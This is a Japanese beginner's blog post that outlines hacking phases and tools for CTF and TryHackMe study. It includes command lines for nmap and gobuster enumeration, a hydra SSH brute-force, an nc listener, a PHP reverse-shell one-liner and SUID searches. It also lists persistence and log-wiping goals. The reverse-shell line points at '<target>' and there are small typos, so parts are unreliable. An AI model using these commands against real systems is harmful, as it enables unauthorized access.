🍊
ハッキングの全体像と各フェーズで使う代表的なツール一覧(CTFにも使える)
こんにちは、オレンジ君です!
今回は 「ハッキングの全体像と、各フェーズで使われる代表的なツール一覧」 をまとめてみました。
最近、TryHackMeでハッキングの学習を進める中で、攻撃には大まかなフェーズがあり、それぞれの段階でよく使われるツールがあることに気づきました。
そこで今回は、自分の思考を整理する意味も込めて、それらを体系的にまとめた記事として共有したいと思います。
各フェーズやツールの詳しい使い方については、今後別の記事で少しずつ深掘りしていく予定です🙇♂️
※以降の各ツールの深掘り記事は随時追加していく予定
この記事の目的
- 自分のCTF・TryHackMeでの学びの整理
- 攻撃のフェーズ構造をつかむ
- 各フェーズごとの代表的ツールを紹介
フェーズ一覧
- 偵察(Reconnaissance)
- スキャン・列挙(Scanning & Enumeration)
- 侵入(Gaining Access)
- 権限昇格(Privilege Escalation)
- 維持・痕跡消去(Post-Exploitation)
1,偵察(Reconnaissance)
-
目的
- 対象について可能な限りの情報を外部から収集する
-
具体的な目標(達成イメージ)
- ドメイン名・IP・サーバー情報を特定
- 使用技術や公開サービスの洗い出し
- 社員の名前やメールアドレスの収集
-
ツール
- whois
- nslookup
- theHarvester
- Sublist3r
2,スキャン・列挙(Scanning & Enumeration)
-
目的
- ネットワーク上で実際に接続・観察を行い、内部構成や脆弱なポイントを見つける
-
具体的な目標(達成イメージ)
- 開いているポート番号とサービス名の特定(例:22/ssh, 80/http)
- サービスのバージョン取得と脆弱性調査
- ディレクトリやファイル、ユーザー名、共有リソースの列挙
-
ツール
- nmap
- gobuster、nikto
- nikto
- wpscan
- CyberChef
-
攻撃シナリオ
- nmapで80番ポートでhttpが動いてること確認。gobusterでディレクトリを列挙しログイン画面を見つける。
- webサイトのソースコードを確認し認証情報を取得。
- ログインの認証をJSで行なっており、ソースコードを読んで不正ログイン
- Sambaにanonymousでログインし共有ディスクの情報を取得
- FTPが認証不要になっており、そこから情報を取得
- CyberChefで暗号の解読
-
コマンド
- nmap -sV -O <target>
- gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http
- smbclient //<target>/anonymous -N
- ftp -n <target>
3,侵入(Gaining Access)
-
目的
- 対象システムに不正アクセスし、任意コードの実行やセッションの奪取を行う
-
具体的な目標(達成イメージ)
- SQLインジェクションやRCE等の脆弱性を利用してシェル取得
- 弱いパスワードでログインに成功
- ファイルアップロードを通じてバックドア設置
- セッションハイジャックや認証回避に成功
-
ツール
- Metasploit Framework
- BurpSuite
- searchsploit,exploit-db
- hydra
-
攻撃シナリオ
- CMSの脆弱性をexploit-dbで確認し、その脆弱性をついて任意コード実行を行う
- ログイン画面でBurpSuiteにてブルートフォース攻撃を行いパスワードを突き止めて不正ログイン
- ssh、imap、pop3に対してhydraでブルートフォース攻撃を行う不正ログイン
- PHPファイルのアップロード、および実行してリバースシェル
- 攻撃サーバでhttpサーバを起動し、対象サーバからダウンロードさせてそのコマンドを実行させる
-
コマンド
- hydra -l user -P /usr/share/wordlists/rockyou.txt -f -o found.txt ssh://<target>
- searchsploit vsftpd 2.3.4
- searchsploit -x exploit/unix/remote/17491.txt
- nc -lvnp 12345
- php -r '$sock=fsockopen("<target>",12345);exec("/bin/sh -i <&3 >&3 2>&3");'
4,権限昇格(Privilege Escalation)
-
目的
低権限ユーザーからroot権限や管理者権限へ昇格する -
具体的な目標(達成イメージ)
-
sudo -l
経由でrootコマンド実行 - カーネルの既知の脆弱性を利用してroot取得
- パスワードファイルからクレデンシャル再利用
-
-
ツール
- linpeas
- pspy
- sudo -l
- GTFOBins
- searchsploit,exploit-db
-
攻撃シナリオ
-
sudo -l
でroot権限で実行できるコマンドを発見し、それを使用して権限昇格 - SUID一覧を確認しルート権限で実行できそうなコマンドを探し、それを利用して権限昇格
- crontabを確認しルート権限で実行されるコマンドを確認。そのシェルを辿って編集できそうなファイルを見つけ、その中に権限昇格のシェルを仕込む。次回cron実行時に権限昇格
- /etx/passwdの編集権限がある場合パスワードを書き換えて権限昇格
- /home/usr/.sshで秘密鍵を取得できた場合、johnTheRipperにてパスフレーズを解読しssh経由でログインし権限昇格
- linpeasでパスワードの漏洩などのチェック。パスワードが取得できれば権限昇格
- GTFOBinsにて権限昇格のコマンドを検索
-
-
コマンド
- id
- python3 -c 'import pty; pty.spawn("/bin/bash")’
- sudo -l
- find / -group $(id -gn) -perm -g=x -type f 2>/dev/null
- find / -user root -perm -u=s -type f 2>/dev/null
- python3 ssh2john.py id_rsa > id_rsa_hash.txt
- john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
5,維持・痕跡消去(Post-Exploitation)
-
目的
長期的なアクセス維持と検出回避を行う -
具体的な目標(達成イメージ)
-
.ssh/authorized_keys
に攻撃者の鍵を設置 - リバースシェルを仕込んだcronジョブを作成
-
.bash_history
やログファイルの削除 - 横展開により他ホストやユーザーアカウントへ移動
-
最後に
ここまで読んでくださり本当にありがとうございました。
セキュリティエンジニアを志す皆さんの一歩に、少しでも役立てれば嬉しいです!
Discussion